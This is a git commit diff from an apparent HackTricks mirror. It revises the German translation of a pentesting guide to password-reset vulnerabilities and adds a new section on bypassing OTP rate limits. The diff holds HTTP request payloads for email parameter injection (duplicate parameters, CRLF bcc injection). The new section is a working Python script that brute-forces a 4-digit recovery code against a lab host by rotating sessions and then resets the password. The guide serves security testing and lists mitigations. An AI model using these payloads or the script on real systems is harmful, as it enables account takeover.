mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/reset-password.md'] to de
This commit is contained in:
parent
bfa37cad34
commit
00acdc4c00
@ -4,24 +4,24 @@
|
||||
|
||||
## **Leck des Passwort-Zurücksetzen-Tokens über den Referrer**
|
||||
|
||||
- Der HTTP-Referer-Header kann das Passwort-Zurücksetzen-Token leaken, wenn es in der URL enthalten ist. Dies kann auftreten, wenn ein Benutzer auf einen Link einer Drittanbieter-Website klickt, nachdem er eine Passwortzurücksetzung angefordert hat.
|
||||
- Der HTTP-Referer-Header kann das Passwort-Zurücksetzen-Token leaken, wenn es in der URL enthalten ist. Dies kann geschehen, wenn ein Benutzer auf einen Link einer Drittanbieter-Website klickt, nachdem er eine Passwortzurücksetzung angefordert hat.
|
||||
- **Auswirkungen**: Potenzieller Kontoübernahme durch Cross-Site Request Forgery (CSRF)-Angriffe.
|
||||
- **Ausnutzung**: Um zu überprüfen, ob ein Passwort-Zurücksetzen-Token im Referer-Header geleakt wird, **fordern Sie eine Passwortzurücksetzung** an Ihre E-Mail-Adresse an und **klicken Sie auf den bereitgestellten Zurücksetzen-Link**. **Ändern Sie Ihr Passwort** nicht sofort. Stattdessen **navigieren Sie zu einer Drittanbieter-Website** (wie Facebook oder Twitter), während Sie **die Anfragen mit Burp Suite abfangen**. Überprüfen Sie die Anfragen, um zu sehen, ob der **Referer-Header das Passwort-Zurücksetzen-Token enthält**, da dies sensible Informationen an Dritte offenlegen könnte.
|
||||
- **Ausnutzung**: Um zu überprüfen, ob ein Passwort-Zurücksetzen-Token im Referer-Header geleakt wird, **fordern Sie eine Passwortzurücksetzung** an Ihre E-Mail-Adresse an und **klicken Sie auf den bereitgestellten Zurücksetzen-Link**. **Ändern Sie Ihr Passwort nicht** sofort. Stattdessen **navigieren Sie zu einer Drittanbieter-Website** (wie Facebook oder Twitter), während Sie **die Anfragen mit Burp Suite abfangen**. Überprüfen Sie die Anfragen, um zu sehen, ob der **Referer-Header das Passwort-Zurücksetzen-Token enthält**, da dies sensible Informationen an Dritte offenlegen könnte.
|
||||
- **Referenzen**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [HackerOne Bericht 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Bericht 272379](https://hackerone.com/reports/272379)
|
||||
- [Artikel über das Leck des Passwort-Zurücksetzen-Tokens](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Passwort-Zurücksetzen-Vergiftung**
|
||||
|
||||
- Angreifer können den Host-Header während der Passwort-Zurücksetzanforderungen manipulieren, um den Zurücksetzen-Link auf eine bösartige Seite zu verweisen.
|
||||
- **Auswirkungen**: Führt zu potenzieller Kontoübernahme durch das Leaken von Zurücksetzen-Token an Angreifer.
|
||||
- **Auswirkungen**: Führt zu potenzieller Kontoübernahme durch das Leaken von Zurücksetzen-Tokens an Angreifer.
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Validieren Sie den Host-Header gegen eine Whitelist erlaubter Domains.
|
||||
- Verwenden Sie sichere, serverseitige Methoden zur Generierung absoluter URLs.
|
||||
- **Patch**: Verwenden Sie `$_SERVER['SERVER_NAME']`, um Passwort-Zurücksetzen-URLs zu konstruieren, anstatt `$_SERVER['HTTP_HOST']`.
|
||||
- **Referenzen**:
|
||||
- [Acunetix-Artikel über Passwort-Zurücksetzen-Vergiftung](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- [Acunetix Artikel über Passwort-Zurücksetzen-Vergiftung](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Passwort-Zurücksetzen durch Manipulation des E-Mail-Parameters**
|
||||
|
||||
@ -33,7 +33,7 @@ POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- Fügen Sie die Angreifer-E-Mail als zweiten Parameter mit %20 hinzu
|
||||
- Fügen Sie die E-Mail des Angreifers als zweiten Parameter mit %20 hinzu
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -57,13 +57,13 @@ POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- Fügen Sie die Angreifer-E-Mail als zweiten Parameter mit , hinzu.
|
||||
- Fügen Sie die E-Mail des Angreifers als zweiten Parameter mit , hinzu.
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
- Fügen Sie die E-Mail des Angreifers als zweiten Parameter im JSON-Array hinzu.
|
||||
- Fügen Sie die Angreifer-E-Mail als zweiten Parameter im JSON-Array hinzu.
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -71,13 +71,13 @@ POST /resetPassword
|
||||
```
|
||||
- **Minderungsmaßnahmen**:
|
||||
- E-Mail-Parameter serverseitig korrekt analysieren und validieren.
|
||||
- Verwenden Sie vorbereitete Anweisungen oder parametrisierte Abfragen, um Injektionsangriffe zu verhindern.
|
||||
- Verwenden Sie vorbereitete Anweisungen oder parameterisierte Abfragen, um Injektionsangriffe zu verhindern.
|
||||
- **Referenzen**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Ändern der E-Mail und des Passworts eines beliebigen Benutzers über API-Parameter**
|
||||
## **Ändern der E-Mail und des Passworts eines Benutzers über API-Parameter**
|
||||
|
||||
- Angreifer können E-Mail- und Passwortparameter in API-Anfragen ändern, um die Kontodaten zu ändern.
|
||||
```php
|
||||
@ -91,11 +91,11 @@ POST /api/changepass
|
||||
- **Referenz**:
|
||||
- [Vollständige Kontoübernahme über API-Parameter-Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Keine Ratenbegrenzung: E-Mail-Bombardierung**
|
||||
## **Kein Ratenlimit: E-Mail-Bombardierung**
|
||||
|
||||
- Mangelnde Ratenbegrenzung bei Passwortzurücksetzanforderungen kann zu E-Mail-Bombardierung führen, wodurch der Benutzer mit Rücksetz-E-Mails überflutet wird.
|
||||
- Mangel an Ratenbegrenzung bei Passwortzurücksetzanforderungen kann zu E-Mail-Bombardierung führen, wodurch der Benutzer mit Rücksetz-E-Mails überflutet wird.
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Implementieren Sie eine Ratenbegrenzung basierend auf der IP-Adresse oder dem Benutzerkonto.
|
||||
- Implementieren Sie eine Ratenbegrenzung basierend auf IP-Adresse oder Benutzerkonto.
|
||||
- Verwenden Sie CAPTCHA-Herausforderungen, um automatisierten Missbrauch zu verhindern.
|
||||
- **Referenzen**:
|
||||
- [HackerOne Bericht 280534](https://hackerone.com/reports/280534)
|
||||
@ -108,36 +108,36 @@ POST /api/changepass
|
||||
- Basierend auf der E-Mail des Benutzers
|
||||
- Basierend auf Vorname und Nachname
|
||||
- Basierend auf Geburtsdatum
|
||||
- Basierend auf Kryptographie
|
||||
- Basierend auf Kryptografie
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Verwenden Sie starke, kryptografische Methoden zur Token-Generierung.
|
||||
- Stellen Sie ausreichende Zufälligkeit und Länge sicher, um Vorhersehbarkeit zu verhindern.
|
||||
- **Werkzeuge**: Verwenden Sie Burp Sequencer, um die Zufälligkeit von Tokens zu analysieren.
|
||||
- **Tools**: Verwenden Sie Burp Sequencer, um die Zufälligkeit von Tokens zu analysieren.
|
||||
|
||||
## **Erratbare UUID**
|
||||
|
||||
- Wenn UUIDs (Version 1) erratbar oder vorhersehbar sind, können Angreifer sie brute-forcen, um gültige Rücksetz-Token zu generieren. Überprüfen Sie:
|
||||
- Wenn UUIDs (Version 1) erratbar oder vorhersagbar sind, können Angreifer sie brute-forcen, um gültige Rücksetz-Token zu generieren. Überprüfen Sie:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Verwenden Sie GUID-Version 4 für Zufälligkeit oder implementieren Sie zusätzliche Sicherheitsmaßnahmen für andere Versionen.
|
||||
- **Werkzeuge**: Verwenden Sie [guidtool](https://github.com/intruder-io/guidtool) zur Analyse und Generierung von GUIDs.
|
||||
- Verwenden Sie GUID Version 4 für Zufälligkeit oder implementieren Sie zusätzliche Sicherheitsmaßnahmen für andere Versionen.
|
||||
- **Tools**: Verwenden Sie [guidtool](https://github.com/intruder-io/guidtool) zur Analyse und Generierung von GUIDs.
|
||||
|
||||
## **Antwortmanipulation: Schlechte Antwort durch gute ersetzen**
|
||||
|
||||
- Manipulation von HTTP-Antworten, um Fehlermeldungen oder Einschränkungen zu umgehen.
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Implementieren Sie serverseitige Überprüfungen, um die Integrität der Antworten sicherzustellen.
|
||||
- Implementieren Sie serverseitige Überprüfungen, um die Integrität der Antwort sicherzustellen.
|
||||
- Verwenden Sie sichere Kommunikationskanäle wie HTTPS, um Man-in-the-Middle-Angriffe zu verhindern.
|
||||
- **Referenz**:
|
||||
- [Kritischer Fehler bei Live-Bug-Bounty-Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Verwendung eines abgelaufenen Tokens**
|
||||
|
||||
- Überprüfen, ob abgelaufene Tokens weiterhin für das Zurücksetzen des Passworts verwendet werden können.
|
||||
- Testen, ob abgelaufene Tokens weiterhin für das Zurücksetzen des Passworts verwendet werden können.
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Implementieren Sie strenge Token-Ablaufrichtlinien und validieren Sie das Token-Ablaufdatum serverseitig.
|
||||
|
||||
@ -150,7 +150,7 @@ uuid-insecurities.md
|
||||
|
||||
## **Versuchen Sie, Ihr Token zu verwenden**
|
||||
|
||||
- Überprüfen, ob das Rücksetz-Token eines Angreifers in Verbindung mit der E-Mail des Opfers verwendet werden kann.
|
||||
- Testen, ob das Rücksetz-Token eines Angreifers in Verbindung mit der E-Mail des Opfers verwendet werden kann.
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Stellen Sie sicher, dass Tokens an die Benutzersitzung oder andere benutzerspezifische Attribute gebunden sind.
|
||||
|
||||
@ -166,6 +166,70 @@ uuid-insecurities.md
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Setzen Sie eine angemessene Ablaufzeit für Rücksetz-Token fest und setzen Sie diese serverseitig strikt durch.
|
||||
|
||||
## **OTP-Ratenlimit-Umgehung durch Ändern Ihrer Sitzung**
|
||||
|
||||
- Wenn die Website die Benutzersitzung verwendet, um falsche OTP-Versuche zu verfolgen und das OTP schwach war (<= 4 Ziffern), können wir das OTP effektiv brute-forcen.
|
||||
- **Ausnutzung**:
|
||||
- Fordern Sie einfach ein neues Sitzungstoken an, nachdem Sie vom Server blockiert wurden.
|
||||
- **Beispiel** Code, der diesen Fehler ausnutzt, indem er das OTP zufällig errät (wenn Sie die Sitzung ändern, ändert sich auch das OTP, und wir können es nicht sequenziell brute-forcen!):
|
||||
|
||||
``` python
|
||||
# Authentifizierungsumgehung durch Passwortzurücksetzung
|
||||
# von coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
||||
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
||||
}
|
||||
url = "http://10.10.12.231:1337/reset_password.php"
|
||||
logout = "http://10.10.12.231:1337/logout.php"
|
||||
root = "http://10.10.12.231:1337/"
|
||||
|
||||
parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] Angriff startet!")
|
||||
sleep(3)
|
||||
print("[+] Dies könnte etwa 5 Minuten dauern!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # Zufallszahl von 0 - 9999 mit 4 d
|
||||
parms["s"] = 164 # nicht wichtig, es beeinflusst nur das Frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # folge der Anzahl der Versuche
|
||||
out = requests.get(logout,headers=headers) # meldet dich ab
|
||||
mainp = requests.get(root) # erhält ein weiteres phpssid (Token)
|
||||
|
||||
cookies = out.cookies # extrahiere die sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # aktualisiere die Header mit neuer Sitzung
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sendet die E-Mail, um das Passwort zu ändern
|
||||
ter = 0 # setze ter zurück, damit wir nach 8 Versuchen eine neue Sitzung erhalten
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # dies ist die Länge der Seite, wenn du den Wiederherstellungscode korrekt erhältst (erhalten durch Testen)
|
||||
print(len(res.text)) # für Debug-Info
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # hier werden wir das Passwort auf etwas Neues ändern
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] Passwort wurde geändert in: D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Angriff gestoppt")
|
||||
```
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
Loading…
x
Reference in New Issue
Block a user